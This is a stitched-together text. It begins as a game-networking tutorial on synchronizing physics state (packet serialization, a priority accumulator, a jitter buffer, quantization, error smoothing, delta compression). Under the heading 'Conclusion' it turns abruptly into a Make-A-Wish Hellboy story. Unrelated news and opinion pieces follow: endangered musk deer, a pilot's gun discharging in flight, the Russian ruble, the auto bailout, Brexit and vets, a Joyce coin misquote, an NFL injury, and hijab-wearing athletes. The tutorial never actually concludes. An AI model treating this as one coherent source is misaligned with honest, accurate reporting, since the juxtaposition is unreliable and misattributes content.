void serialize_state_update( Stream & stream, int & index, StateUpdate & state_update ) { serialize_int( stream, index, 0, NumCubes - 1 ); serialize_vector( stream, state_update.position ); serialize_quaternion( stream, state_update.orientation ); bool at_rest = stream.IsWriting() ? state_update.AtRest() : false; serialize_bool( stream, at_rest ); if ( !at_rest ) { serialize_vector( stream, state_update.linear_velocity ); serialize_vector( stream, state_update.angular_velocity ); } else if ( stream.IsReading() ) { state_update.linear_velocity = vec3f(0,0,0); state_update.angular_velocity = vec3f(0,0,0); } }
What you see above is a serialize function. It’s a trick I like to use to unify packet read and write. I like it because it’s expressive while at the same time it’s difficult to desync read and write. You can read more about them here.
Packet Structure
Now let’s look at the overall structure of packets being sent:
const int MaxInputsPerPacket = 32; const int MaxStateUpdatesPerPacket = 64; struct Packet { uint32_t sequence; Input inputs[MaxInputsPerPacket]; int num_object_updates; StateUpdate state_updates[MaxStateUpdatesPerPacket]; };
First we include a sequence number in each packet so we can determine out of order, lost or duplicate packets. I recommend you run the simulation at the same framerate on both sides (for example 60HZ) and in this case the sequence number can work double duty as the frame number.
Input is included in each packet because it’s needed for extrapolation. Like deterministic lockstep we send multiple redundant inputs so in the case of packet loss it’s very unlikely that an input gets dropped. Unlike deterministic lockstep, if don’t have the next input we don’t stop the simulation and wait for it, we continue extrapolating forward with the last input received.
Next you can see that we only send a maximum of 64 state updates per-packet. Since we have a total of 901 cubes in the simulation so we need some way to select the n most important state updates to include in each packet. We need some sort of prioritization scheme.
To get started each frame walk over all objects in your simulation and calculate their current priority. For example, in the cube simulation I calculate priority for the player cube as 1000000 because I always want it to be included in every packet, and for interacting (red cubes) I give them a higher priority of 100 while at rest objects have priority of 1.
Unfortunately if you just picked objects according to their current priority each frame you’d only ever send red objects while in a katamari ball and white objects on the ground would never get updated. We need to take a slightly different approach, one that prioritizes sending important objects while also distributing updates across all objects in the simulation.
Priority Accumulator
You can do this with a priority accumulator. This is an array of float values, one value per-object, that is remembered from frame to frame. Instead of taking the immediate priority value for the object and sorting on that, each frame we add the current priority for each object to its priority accumulator value then sort objects in order from largest to smallest priority accumulator value. The first n objects in this sorted list are the objects you should send that frame.
You could just send state updates for all n objects but typically you have some maximum bandwidth you want to support like 256kbit/sec. Respecting this bandwidth limit is easy. Just calculate how large your packet header is and how many bytes of preamble in the packet (sequence, # of objects in packet and so on) and work out conservatively the number of bytes remaining in your packet while staying under your bandwidth target.
Then take the n most important objects according to their priority accumulator values and as you construct the packet, walk these objects in order and measure if their state updates will fit in the packet. If you encounter a state update that doesn’t fit, skip over it and try the next one. After you serialize the packet, reset the priority accumulator to zero for objects that fit but leave the priority accumulator value alone for objects that didn’t. This way objects that don’t fit are first in line to be included in the next packet.
The desired bandwidth can even be adjusted on the fly. This makes it really easy to adapt state synchronization to changing network conditions, for example if you detect the connection is having difficulty you can reduce the amount of bandwidth sent (congestion avoidance) and the quality of state synchronization scales back automatically. If the network connection seems like it should be able to handle more bandwidth later on then you can raise the bandwidth limit.
Jitter Buffer
The priority accumulator covers the sending side, but on the receiver side there is much you need to do when applying these state updates to ensure that you don’t see divergence and pops in the extrapolation between object updates.
The very first thing you need to consider is that network jitter exists. You don’t have any guarantee that packets you sent nicely spaced out 60 times per-second arrive that way on the other side. What happens in the real world is you’ll typically receive two packets one frame, 0 packets the next, 1, 2, 0 and so on because packets tend to clump up across frames. To handle this situation you need to implement a jitter buffer for your state update packets. If you fail to do this you’ll have a poor quality extrapolation and pops in stacks of objects because objects in different state update packets are slightly out of phase with each other with respect to time.
All you do in a jitter buffer is hold packets before delivering them to the application at the correct time as indicated by the sequence number (frame number) in the packet. The delay you need to hold packets for in this buffer is a much smaller amount of time relative to interpolation delay for snapshot interpolation but it’s the same basic idea. You just need to delay packets just enough (say 4-5 frames @ 60HZ) so that they come out of the buffer properly spaced apart.
Once the packet comes out of the jitter how do you apply state updates? My recommendation is that you should snap the physics state hard. This means you apply the values in the state update directly to the simulation.
I recommend against trying to apply some smoothing between the state update and the current state at the simulation level. This may sound counterintuitive but the reason for this is that the simulation extrapolates from the state update so you want to make sure it extrapolates from a valid physics state for that object rather than some smoothed, total bullshit made-up one. This is especially important when you are networking large stacks of objects.
Surprisingly, without any smoothing the result is already pretty good:
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As you can see it’s already looking quite good and barely any bandwidth optimization has been performed. Contrast this with the first video for snapshot interpolation which was at 18mbit/sec and you can see that using the simulation to extrapolate between state updates is a great way to use less bandwidth.
Of course we can do a lot better than this and each optimization we do lets us squeeze more state updates in the same amount of bandwidth. The next obvious thing we can do is to apply all the standard quantization compression techniques such as bounding and quantizing position, linear and angular velocity value and using the smallest three compression as described in snapshot compression.
But here it gets a bit more complex. We are extrapolating from those state updates so if we quantize these values over the network then the state that arrives on the right side is slightly different from the left side, leading to a slightly different extrapolation and a pop when the next state update arrives for that object.
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Quantize Both Sides
The solution is to quantize the state on both sides. This means that on both sides before each simulation step you quantize the entire simulation state as if it had been transmitted over the network. Once this is done the left and right side are both extrapolating from quantized state and their extrapolations are very similar.
Because these quantized values are being fed back into the simulation, you’ll find that much more precision is required than snapshot interpolation where they were just visual quantities used for interpolation. In the cube simulation I found it necessary to have 4096 position values per-meter, up from 512 with snapshot interpolation, and a whopping 15 bits per-quaternion component in smallest three (up from 9). Without this extra precision significant popping occurs because the quantization forces physics objects into penetration with each other, fighting against the simulation which tries to keep the objects out of penetration. I also found that softening the constraints and reducing the maximum velocity which the simulation used to push apart penetrating objects also helped reduce the amount of popping.
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With quantization applied to both sides you can see the result is perfect once again. It may look visually about the same as the uncompressed version but in fact we’re able to fit many more state updates per-packet into the 256kbit/sec bandwidth limit. This means we are better able to handle packet loss because state updates for each object are sent more rapidly. If a packet is lost, it’s less of a problem because state updates for those objects are being continually included in future packets.
Be aware that when a burst of packet loss occurs like 1⁄ 4 a second with no packets getting through, and this is inevitable that eventually something like this will happen, you will probably get a different result on the left and the right sides. We have to plan for this. In spite of all effort that we have made to ensure that the extrapolation is as close as possible (quantizing both sides and so on) pops can and will occur if the network stops delivering packets.
Visual Smoothing
We can cover up these pops with smoothing.
Remember how I said earlier that you should not apply smoothing at the simulation level because it ruins the extrapolation? What we’re going to do for smoothing instead is calculating and maintaining position and orientation error offsets that we reduce over time. Then when we render the cubes in the right side we don’t render them at the simulation position and orientation, we render them at the simulation position + error offset, and orientation * orientation error.
Over time we work to reduce these error offsets back to zero for position error and identity for orientation error. For error reduction I use an exponentially smoothed moving average tending towards zero. So in effect, I multiply the position error offset by some factor each frame (eg. 0.9) until it gets close enough to zero for it to be cleared (thus avoiding denormals). For orientation, I slerp a certain amount (0.1) towards identity each frame, which has the same effect for the orientation error.
The trick to making this all work is that when a state update comes in you take the current simulation position and add the position error to that, and subtract that from the new position, giving the new position error offset which gives an identical result to the current (smoothed) visual position.
The same process is then applied to the error quaternion (using multiplication by the conjugate instead of subtraction) and this way you effectively calculate on each state update the new position error and orientation error relative to the new state such that the object appears to have not moved at all. Thus state updates are smooth and have no immediate visual effect, and the error reduction smoothes out any error in the extrapolation over time without the player noticing in the common case.
I find that using a single smoothing factor gives unacceptable results. A factor of 0.95 is perfect for small jitters because it smooths out high frequency jitter really well, but at the same time it is too slow for large position errors, like those that happen after multiple seconds of packet loss:
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The solution I use is two different scale factors at different error distances, and to make sure the transition is smooth I blend between those two factors linearly according to the amount of positional error that needs to be reduced. In this simulation, having 0.95 for small position errors (25cms or less) while having a tighter blend factor of 0.85 for larger distances (1m error or above) gives a good result. The same strategy works well for orientation using the dot product between the orientation error and the identity matrix. I found that in this case a blend of the same factors between dot 0.1 and 0.5 works well.
The end result is smooth error reduction for small position and orientation errors combined with a tight error reduction for large pops. As you can see above you don’t want to drag out correction of these large pops, they need to be fast and so they’re over quickly otherwise they’re really disorienting for players, but at the same time you want to have really smooth error reduction when the error is small hence the adaptive error reduction approach works really well.
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Delta Compression
Even though I would argue the result above is probably good enough already it is possible to improve the synchronization considerably from this point. For example to support a world with larger objects or more objects being interacted with. So lets work through some of those techniques and push this technique as far as it can go.
There is an easy compression that can be performed. Instead of encoding absolute position, if it is within a range of the player cube center, encode position as a relative offset to the player center position. In the common cases where bandwidth is high and state updates need to be more frequent (katamari ball) this provides a large win.
Next, what if we do want to perform some sort of delta encoding for state synchronization? We can but it’s quite different in this case than it is with snapshots because we’re not including every cube in every packet, so we can’t just track the most recent packet received and say, OK all these state updates in this packet are relative to packet X.
What you actually have to do is per-object update keep track of the packet that includes the base for that update. You also need to keep track of exactly the set of packets received so that the sender knows which packets are valid bases to encode relative to. This is reasonably complicated and requires a bidirectional ack system over UDP. Such a system is designed for exactly this sort of situation where you need to know exactly which packets definitely got through. You can find a tutorial on how to implement this in this article.
So assuming that you have an ack system you know with packet sequence numbers get through. What you do then is per-state update write one bit if the update is relative or absolute, if absolute then encode with no base as before, otherwise if relative send the 16 bit sequence number per-state update of the base and then encode relative to the state update data sent in that packet. This adds 1 bit overhead per-update as well as 16 bits to identify the sequence number of the base per-object update. Can we do better?
Yes. In turns out that of course you’re going to have to buffer on the send and receive side to implement this relative encoding and you can’t buffer forever. In fact, if you think about it you can only buffer up a couple of seconds before it becomes impractical and in the common case of moving objects you’re going to be sending the updates for same object frequently (katamari ball) so practically speaking the base sequence will only be from a short time ago.
So instead of sending the 16 bit sequence base per-object, send in the header of the packet the most recent acked packet (from the reliability ack system) and per-object encode the offset of the base sequence relative to that value using 5 bits. This way at 60 packets per-second you can identify an state update with a base half a second ago. Any base older than this is unlikely to provide a good delta encoding anyway because it’s old, so in that case just drop back to absolute encoding for that update.
Now lets look at the type of objects that are going to have these absolute encodings rather than relative. They’re the objects at rest. What can we do to make them as efficient as possible? In the case of the cube simulation one bad result that can occur is that a cube comes to rest (turns grey) and then has its priority lowered significantly. If that very last update with the position of that object is missed due to packet loss, it can take a long time for that object to have its at rest position updated.
We can fix this by tracking objects which have recently come to rest and bumping their priority until an ack comes back for a packet they were sent in. Thus they are sent at an elevated priority compared with normal grey cubes (which are at rest and have not moved) and keep resending at that elevated rate until we know that update has been received, thus “committing” that grey cube to be at rest at the correct position.
Conclusion
Zachary loved his visit for two very special reasons. It was Zachary's wish to meet Hellboy and also to become Hellboy. When the Make-A-Wish Foundation contacted Spectral Motion with this request, Mike thought it would be fantastic to have Ron Perlman reprise his role for the day. Ron loved the idea and donned the makeup once more (with the assistance of Lufeng Qu and Eden Elizalde) and also ordered a Hellboy sized meal of burgers, shakes, and fries for Zachary and his family and the entire Spectral crew to enjoy. Later in the day, Zachary was transformed into Hellboy with the assistance of makeup artists Lufeng Qu and Neil Winn. Both of the Make-A-Wish days were a complete thrill for the families of the children, as well as for the crew at Spectral Motion!
Did you read that? Ron Perlman even bought burgers and shakes and fries for everyone! *sobbing uncontrollably* You know, I told myself I wouldn't cry when I posted this, but, between you and me, I knew I was lying when I said it.
Hit the jump for a bunch more including little Zachary as Hellboy.
KABUL, Afghanistan, Oct. 31 (UPI) -- After an absence of more than 60 years, a handful of rare fanged deer have been spotted in Afghanistan -- just in time for Halloween. The sharp-toothed mammal known as the Kashmir musk deer hadn't been seen in the country since 1948.
But as researchers recently reported in the journal Oryx, a team of field observers with the Wildlife Conservation Society spotted several of the rare specimens -- on multiple occasions -- in the remote alpine fields of northeast Afghanistan, meadows lush with juniper and rhododendron and accented with forested slopes and rugged rock outcrops.
"Musk Deer are one of Afghanistan's living treasures," lead author of the study, Peter Zahler, said in a recent press release. "This rare species, along with better known wildlife such as snow leopards, are the natural heritage of this struggling nation."
The sharp white enamel that protrudes from the musk deer's mouth are more tusks than they are fangs -- not used to kill or eat prey, but to impress females and compete with other males during rutting season.
The Kashmir musk deer, one of seven similar species in Asia, is considered endangered by the International Union for Conservation of Nature. The Dracula-like deer's largest threats are habitat loss and poaching. The species' scent glands are highly prized for their use in perfume, incense, and medicine -- selling for $20,000 per pound on the black market.
"We hope that conditions will stabilize soon to allow WCS and local partners to better evaluate conservation needs of this species," Zahler added.
In these undated images provided to the Associated Press, Tuesday, March 25, 2008, a purported bullet hole is shown in a US Airways aircraft. ( ASSOCIATED PRESS )
The pistol – a .40-calibre semiautomatic H&K USP – discharged Saturday aboard Flight 1536 from Denver to Charlotte, as the plane was approaching to land. Photos obtained by The Associated Press show a small entry hole in the lower side of the cockpit wall and a small exit hole on the exterior below the cockpit window. The AP described the photos and the bullet hole to US Airways spokesman Phil Gee, who said "they sound authentic." Airline officials have said the accidental discharge Saturday did not endanger the 124 passengers and five crew members on board, although air safety experts said Tuesday the shot could have caused the plane to rapidly depressurize had it hit a window at a higher altitude.
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"There are two issues: would they (the crew) have enough oxygen to remain alert," said Earl Dowell, an aeronautical engineering professor at Duke University. "If the crew could no longer control the airplane, that would be a big deal. And the rapid loss of pressure might damage the structure itself." But both Dowell and Fu-Kuo Chang, a professor of aeronautical engineering at Stanford University, said that airplane design emphasizes safety and that such a blast – even if it knocked out a window in mid-flight, isn't likely to cause the kind of damage that would lead immediately to a crash. "If not repaired, it may cause a problem. It could get bigger. For a single bullet, it would not be a factor for the safety of the airplane," Chang said. "If it hit the window, it may be a problem for depressurization. I still don't think it would cause a crash." Dowell pointed to a 1988 Aloha Airlines flight in Hawaii in which the roof of the jet ripped off after an explosive decompression at 7,300 metres. A flight attendant was blown out of the plane, but the passengers – many of whom were injured – remained strapped in their seats, and the pilot safely landed the aircraft. "If they lost a window, the people near that window would have been substantially uncomfortable," Dowell said. "You probably wouldn't have crashed the airplane. But there could have been some frightened people."
The gunshot marked the first time a pilot's weapon has been fired on a plane since the flight deck officer program was created following the terrorist attacks of Sept. 11, 2001, Alter said. The Transportation Security Administration is investigating how the gun discharged, and Gee says the unidentified pilot has been taken off duty during the investigation. Pilots in the program undergo 50 hours of training at the federal Law Enforcement Training Center in Artesia, N.M. Alter said it appears the pilot of the US Airways flight wasn't following "proper procedures. ... We just don't know exactly what procedure wasn't being followed."
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After a brief period of respite – and muted acceptance of the “new normal” – to start the year, Putin and company again face a colossal economic mess. From worst to first and back again, the Russian ruble continues its volatile post-Crimea journey. Its surprise run as the world’s number one performing major currency is long gone and the ruble has collapsed nearly 25 percent since the end of May, and 11 percent alone in August. For optimists and pessimists alike, speculation on the ruble’s future is an exercise in futility. To be sure – on its current path – it’s not a very fun activity either.
On a micro level, the ripple effects have hit hard. Real wages, or purchasing power, fell 4.8 percent in July and dropped 9.2 percent compared with the same period a year ago. Disposable income is also down 2.9 percent on the year. Unemployment remained steady, but an increasing number of workers are not getting paid; the amount of salary in arrears climbed 6.2 percent in July. Further, there is talk of delinking pension hikes from inflation, a move that would condemn a growing number of the population to abject poverty should the economic trends continue.
More broadly, the recession is in full swing. Russia’s gross domestic product slipped 4.6 percent year-on-year in the second quarter – a fall that makes it the worst performing mid-sized economy in the world, ahead of Iraq and Venezuela. Negative growth in 2016 is looking more and more possible and Bank of Russia economists estimate that western sanctions have lowered the GDP ceiling by as much as 0.6 percent this year.
Related: As Putin Surfaces. Russia's Ruble Takes a Dive
Energy export revenues have obviously tanked, but longer-term sources of growth are also proving elusive in the current climate. Capital expenditures in industrial production and infrastructure are down and continue to fall. Conversely, capital flight may reach $90 billion by year’s end.
It’s quite apparent that a business-as-usual approach spells trouble for Russia; minus some budgetary magic, or a swift oil price turnaround, the reserve fund may dry up within a year. The solutions are not abundantly clear, but, for the first time in a long time, the costs of changing an inefficient status quo – Russia’s institutional trap – may finally outweigh the benefits of its existence.
Grumblings of discontent at the top have been quick to surface. President of the struggling Russian Railways Vladimir Yakunin is out – apparently of his own volition – and other CEOs, Rosneft’s Sechin and Gazprom’s Miller included, may see their tenures cut short in the name of greater efficiency.
Bailout legislation currently in the works aims to reduce the strain on nationally significant companies, but the list of suitors far exceeds the available capital. It is unclear whether or not Gazprom and Rosneft are among the early applicants for aid, but Putin has promised that current and future supply projects, and foreign contracts, will not be threatened.
Related: Growing Alarm in the Kremlin as the Wheels Come Off the Putin Regime
Toward this end, a push for technological and operational independence has been prioritized. Baker Hughes has entered into a partnership with Novosibirsk State University on the modeling of oil fields; GazpromNeft is developing its own forecasting software; and the government is working to provide import-substituting producers with the appropriate financial levers for success. Still, both cost- and time-intensive, this is a long-term contingency plan that few can count on.
For its part, foreign experience will continue to play a major role. Halliburton’s Sperry Drilling, C.A.T.Oil AG, and Schlumberger are just some of the companies taking advantage of the increased demand for horizontal drilling in conventional plays. Rosneft will look for its newest acquisition, Trican Well Service, to provide similar, production enhancing, services.
Further, a draft bill seeks to open up large deposits of oil and gas for exploration – a tacit admission that the old, and oft-changing, mineral regime did little to spur greenfield development. However, interest in the blocks, previously off-limits to foreign producers, is hardly encouraging.
Maintaining output and market share amid low demand and low prices remains the goal du jour. And, to be sure, the oil and gas will keep flowing – there’s no other option. But, for the people at the top, and the people on the ground, it’s going to be a long winter.
This article originally appeared on OilPrice.com.
Read more from OilPrice.com:
Low Oil Prices: Assessing The Damage So Far In 2015
The Precarious Life Of Energy Engineers In The United States
Last night during the House vote I listened to a press conference by Southern Senators Shelby, Bob Corker and others and I think I finally understand the argument they are trying to make.
They are trying to pass themselves off as "business experts" who know what is best to make the Detroit automakers have a "viable business model." What they’re saying is that they need to go into bankruptcy so a court can force the bondholders to take equity in exchange for their bonds to get the interest payments off the books, reduce the number of dealerships, negotiate with creditors and get rid of the union legacy costs (pensions and healthcare).
Let’s ignore for a moment the sheer Hooverism involved in bankrupting the Big 3 right before Christmas. They want to exacerbate a $4000 per car problem to get rid of a $1000 per car problem.
GM and Ford estimate that legacy costs contribute $1000-$1600 per vehicle.
Former Wall Street GM analyst Ron Glantz told me that a car made in America now sells for $4000 less than the exact same car made by a foreign automaker, because of lack of consumer confidence (due to both product legacy and fear of bankruptcy).
A survey recently concluded that 80% of consumers won’t buy a car from a company that has declared bankruptcy.
These clowns know nothing about brand management, consumer confidence or running a business. Where was their strong desire for balanced budgets and sound fiscal policy when George Bush was running through taxpayer cash like a drunken sailor?
Take veterinary services. Yesterday afternoon, the Royal College of Veterinary Surgeons (RCVS) and the British Veterinary Association (BVA) wrote a letter to the prime minister. These are not radical organisations. They never really put out political statements of this sort. They stay in the background, concerning themselves mostly with relatively dry questions of policy detail. But they've been forced to issue a warning that Brexit - and Theresa May's descent into anti-foreigner rhetoric - are putting people and animals at risk.
Around half the veterinary surgeons registering to practise in the UK each year are from overseas - mostly the EU. Europeans are particularly prevalent in public health roles like the Government Veterinary Services. In the meat hygiene sector, some estimates put the number of veterinary surgeons who graduate overseas at 95%. And these people - the people who look after our pets, who check our food - are feeling increasingly uncomfortable in this country.
A passage in the letter reads:
"We have received reports that the increasing focus on foreign workers is causing personal distress to individual members of the veterinary profession who live and work in the UK. There are also reports of a negative impact on recruitment and retention: those involved in public health critical roles, such as meat hygiene, are having increasing difficulty recruiting much needed EU veterinary surgeons to work in the UK; leading experts from overseas are turning down employment offers from top UK universities; and many others are considering leaving the UK due to a feeling it is no longer welcoming to foreigners. There is a danger that the language and rhetoric around Brexit, alongside the ongoing uncertainty for non-British EU citizens, could seriously impact the veterinary profession’s ability to fulfil its essential roles."
It's worth repeating: these are not knee-jerk pro-immigration groups or left-wing opposition parties condemning government rhetoric. These are regulatory and national representative bodies who rarely, if ever, dabble in politics of this sort. They are issuing a stark and sober warning.
This is the product of the xenophobic language coming from the government, the talk of naming and shaming companies who hire immigrants, of locking up landlords who do not check the papers of immigrants, of treating EU citizens in the UK as "one of our main cards". These actions are not just shameful and hideous in their own right. They are actively putting the public at risk.
The veterinary profession doesn't just look after pets. It monitors and controls the spread of disease and assures the quality of the food we eat. If it goes into decline, the animals we love and share our homes with are in more danger. But there is also a very significant public health risk to go alongside the emotional one.
This is a useful reminder of the fact that immigrants, from the EU and elsewhere, make our society function. They are not just here to claim benefits and lower wages. They live beside us every day, performing vital services.
None of this is seen in the day-to-day debate. The economic and political discussion around immigration is constantly framed in terms of them taking and not giving. We hear that they are a drain on public services, but not that their financial contribution to the Treasury is what allows those services to function. We hear that they take housing needed for Brits, but not that they create and stimulate demand. We have treated them like a black hole, something that sucks in money and services but does not contribute. It is repeated so often that it goes beyond a lie. It becomes the framework through which we see the immigration debate. People are completely blind to the necessity of immigrants to our society because it has been so long since anyone suggested they did anything productive.
But while anti-immigrant newspapers and politicians whinged, immigrants were there: Treating your cat. Picking your fruit. Treating your condition. They are crucial to the running of this country and unless we start recognising that, it'll be this country which suffers the consequences of their absence.
The section of the letter I’ve quoted is merely on the rhetoric coming from the government. The policy implications of Brexit are even more serious. In the future, the two organisations warn, “changes to the mutual recognition system or immigration restrictions could have a profound impact upon the veterinary workforce”. That means Britain may face a shortage of vets as it loses half its annual intake. It means a potentially catastrophic impact on TB testing and meat hygiene. It means abattoirs may be unable to export their products because the UK veterinary requirements are not recognised by European authorities.
It's like this all over the country, in sectors which are as diverse as they are vulnerable to sudden changes in policy. Our industries are being sabotaged by an extreme nationalist economic agenda and the cultural aftershock of an openly xenophobic government.
Ian Dunt is the editor of Politics.co.uk
The special commemorative coin honours the writer James Joyce and it features his portrait on its face.
But the coin's face also misquotes a famous line from his masterwork Ulysses, inserting a word that is not in the original text.
The Central Bank has limited the minting of the coin to a maximum 10,000 units.
It is on sale at the bank's Dame Street headquarters in Dublin from today for €46.
The coin was launched at a private event at Newman House, St Stephen's Green, Joyce's alma mater when he was a student at University College Dublin there.
At the launch, the Central Bank Governor Patrick Honohan said: "The coin's design, combining portrait and concept in an original manner, reflects Joyce's standing as one of the leading figures in the modernist movement."
The erroneous lines on the front on the coin are taken from the beginning of chapter three of Ulysses, where Stephen Dedalus walks alone along Sandymount Strand reflecting.
Joyce wrote: "Ineluctable modality of the visible: at least that if no more, thought through my eyes. Signatures of all things I am here to read."
However, on the Central Bank coin the surplus word "that" is inserted into the second sentence.
Irsay said in March that the veteran could be out until November, to which Mathis stated at the time he'd be "clicking at camp."
Mathis doubled down earlier this month on the belief he'll be back next month at training camp and ready to go in September. On Thursday, he told the Indianapolis Star that his top goal is to "be ready for Sept. 13," when the Colts kick off in Buffalo against the Bills.
Irsay parried on Wednesday night at his team's minicamp session, urging a cautious approach to expectations when it comes to the 34-year-old pass rusher.
"Obviously, Robert is optimistic, and he's a fast healer, and you just don't know," Irsay said, via the Indy Star. "(But) I would say I don't see him being football ready for the beginning of training camp, where he'd be a full-go guy and that sort of thing.
"I think time will tell," Irsay continued. "Obviously, Robert wants to be back as soon as he can be. We want him back as soon as he can be, but we also want to make sure when he comes back he's 100 percent healthy and ready to go."
The Colts are wise to bring along the pass rusher slowly after he suffered a torn Achilles tendon last year. Indy needs the veteran to disrupt quarterbacks in January, not July.
"Again, I talked about early November, could be sooner than that certainly, but as far as the start of training camp, I don't see him being a full-go guy when we're starting in Anderson (Indiana, where the Colts hold camp)," Irsay said.
Triathlete sisters Nada, left, and Najla Al Jeraiwi pose for a portrait in Kuwait City in April. (Nikki Kahn/The Washington Post)
On a perfectly breathable Friday near sunset in the spring, you might have spotted what residents say you never would have spotted 10 years ago: women, here and there, on the pathways that twist near a sports park, walking briskly or jogging, in their abayas.
Look more carefully, and you would have noticed another novel sight of the 2010s: six cyclists on their bikes, zipping back and forth, coed — four men in helmets, two women in helmets and hijabs.
These two sisters have happened upon a passion for triathlon in their 20s, and the sport has driven them around the world and even to the wilds of eBay. That’s where Najla Al Jeraiwi, determined that being covered would not impede being competitive, bought 15 body suits some time ago, fearing their obsolescence because swimming’s governing body had banned them from world competition. She gave three to her sister Nada. She gave four to friends. “I have the rest, but with time it’s getting worn down,” she said. “So now we’re struggling.”
Count the Al Jeraiwi sisters, all inconspicuous 5 feet 1 (Najla) and 5 feet 3 (Nada) of them, among a fresh wavelet of human athletes: women who find sport such an essential part of themselves that they compete in traditional hijab headscarves, loose-fitting abaya robes or other covering.
Especially for triathlon, that combination of swimming, cycling and running, this means exhaustive searches for ever more agreeable fabrics. It means there’s a novel fashion item of the 21st century, the sport hijab, and a trickle of companies making it.
Hijabs and abayas, both a tradition and a personal choice in most Middle Eastern cultures, have begun to dovetail more with sports. They have appeared with flair, such as when Shinoona Al Habsi, then a 19-year-old runner for Oman, entered the Olympic Stadium at the London Games four years ago to run the 100 meters in a memorable hijab of a fine red, “red because of Oman,” she said, referring to a dominant color in the country’s flag.
They have caused policy advancements, such as when FIFA, the world governing body of soccer, opted to allow hijabs in early 2014. “Look, it’s a popular sport,” Prince Ali bin Al Hussein of Jordan, a FIFA member archly supportive of women’s sports, said in an interview. “We had, for example in West Asia, we had a tournament. I’m president of the West Asian Football Federation. And when we first introduced women’s football, the Iranians resisted by saying they would not allow their girls to play if men are present in stadiums. But if you put it to them properly, which we did, they have to accept the status quo. And things are easy to move ahead.
“We had the same issue with headscarves. The way we did it in FIFA was to say that, ‘Look, you have to have mutual respect.’ In fact, our women were the first girls who went and played in Iran without headscarves after the decisions were made. So there’s a lot of things that can be done as long as we take the politics out of it.”
Yasmeen Khair called it “one of the best decisions that was made.” Khair, a defender on Jordan’s women’s national soccer team and a designated ambassador for Jordan’s upcoming Under-17 Women’s World Cup, said, “In Arab countries, hijab, it’s a main thing, you know. In our team, we had a lot of girls wearing hijab. . . . Three, four of them, they were with the national team, and they were some of the main players, you know? So if this decision wasn’t made, then you’re going to lose a lot of the girls playing football. Even the young ones.”
Nada Al Jeraiwi , left, and Noura Al Hajeri share a laugh after completing in the ITU World Triathlon Abu Dhabi earlier this year. (Nikki Kahn/The Washington Post)
In turn, athletes have set off seeking better fabrics. Najla Al Jeraiwi still uses a custom-made hijab of “normal fabric, not ideal for racing” but not terrible, just not quite cool and dry enough. It’s still an improvement over 2012, when her Spanish coach, Vicent Beltran, first found her swimming in routine sports clothes and long-sleeved shirts, then found long-sleeve swimwear that proved unfit for cycling and running, until a Spanish company made a trisuit for Najla. She improved her 100 meters by 14 seconds. “We all almost cried of happiness that day at the swimming pool,” Beltran wrote in an email.
“The situation of the women in this area is very different from one to another,” said Marisol Casado, president of the International Triathlon Union, “because in some of these areas they are really very open, like Lebanon, and then they have no problem at all, and in others like Iran, for example, they have more problems, but with hijab, they allow to compete. The movement is coming from people, from women from Iran. . . . I hope that they will decide not to wear it. This is my hope. But it’s up to them.”
Sport-hijab makers have materialized, shipping the hijabs to about 15 countries in the case of one Dutch company, Capsters. Its roots lie in the case of a Dutch high school student forbidden from gym class in 1999 because of her hijab. Cindy van den Bremen, then a design student in Eindhoven, Netherlands, began thinking, never imagining that 17 years later a livelihood would stem from her designs, with fabrics once futuristic.
“Capsters believes the choice to cover yourself should be yours and yours only, otherwise you deny the right of the women themselves,” van den Bremen wrote in an email. “Both the Muslim community as well as people outside the community are forcing their ideas upon the women to cover or not. So on both sides there is social pressure as well as connotations that are based on assumptions and stereotypes and deny the rights of the women themselves.”
Perhaps even more often, people root for the singular. Roquiya Cochran told of a three-day process in 2012 when she and her daughter, Zahra Lari, a figure skater from the United Arab Emirates, first appeared at an event in Italy.
Oman tennis player Fatma Al-Nabhani explains how she creates tennis outfits that both align with her culture and are allowed by the Women's Tennis Association and the International Tennis Federation. (Thomas Johnson,Nikki Kahn/The Washington Post)
At first, fellow skaters and their coaches stared quietly and quizzically, having never seen a skater dressed in a hijab. (Lari even received a points deduction because judges deemed this novelty a prop, a matter long since cleared up.) The second day, people began to smile. By the third, they took selfies.
“When I go to competitions, people usually have a lot of questions about it because they’ve just never seen anyone like that,” Lari said. “But it’s just that they’re curious about it. They’ll be staring and they’ll come and they’ll ask me. They want pictures with me or something like that. I think it’s a good way to spread the word, like, ‘We’re normal. There’s nothing different between me and you.’ ”
With the abaya, some athletes report even an unforeseen boon. Sarah Attar, a Californian who ran for Saudi Arabia in the 2012 Olympics , has visited Saudi Arabia with her Saudi father and American mother umpteen times in her 23 years to see her father’s populous side of the family tree. Nowadays, she runs in an abaya when in Saudi Arabia and in American running gear while training in Mammoth Lakes, Calif.
“A lot of the girls I’ve talked to, it’s not that the abaya itself is the obstacle, but just making one that’s easier to run in, so you just have to kind of think they’re obstacles only if you let them be,” she said. “It goes down to your ankles, and it’s an extra layer on top of running clothes underneath, and it is much warmer.”
She laughs slightly. “So it’s just like, it’s just part of it. . . . You know, it’s interesting because when I’m there and running it, I’m like, ‘This is just extra training.’ Or it’s like a different form of endurance. Or ‘If you can get through it when it’s harder, then when you race . . .’ ”
Nesreen, a Saudi mother of four in her early 40s and based in Jeddah and who asked that only her first name appear, said running had revamped her life after she joined a coed group called Jeddah Running Collective. “When the weather is good, it doesn’t bother me much,” she said of the abaya, “and we rarely get good weather here, maybe two months a year. But when the weather is hot, like now, I feel like I’m a walking sauna, literally. I do feel like I’m heavier and uncomfortable as well. But all this won’t make me stop running. On the days I’m feeling really into the run, I don’t remember I’m wearing abaya.”
Triathlete Najla Al Jeraiwi brings up the rear, at far right, with her sister Nada Al Jeraiwi, third from right, as they navigate city streets while training near Kuwait City. (Nikki Kahn/The Washington Post)
A girl trains with the boys
The issue of attire has been, of course, markedly different in swimming, in which athletes compete far less covered than in, for example, taekwondo.
Faye Sultan, 21, who swam for Kuwait in the 2012 Olympics and for Williams College in Massachusetts for four years, recounts stories that tell of change.
When she was 11, Sultan went to an international meet in Kuwait, then went right home when authorities shut it down after learning that boys and girls would compete concurrently. From when she was 9 to when she was 17 at the London Olympics, her father, Tarek Sultan, a former basketball player for the Kuwait national team and also for Williams, wasn’t allowed to watch her swim competitively. She grew to 6 feet tall, and as the only girl rising at 4:30 a.m., coming to school with wet hair from training, eating in morning class for replenishment, she usually swam very much alone. As the only girl around competing in her teens, she never got to swim a Kuwaiti relay — when she reached Williams, she didn’t know how to do one, which drew some ribbing from teammates — and she spent much of her teens in undersized, non-Olympic pools where her limbs would hit concrete.
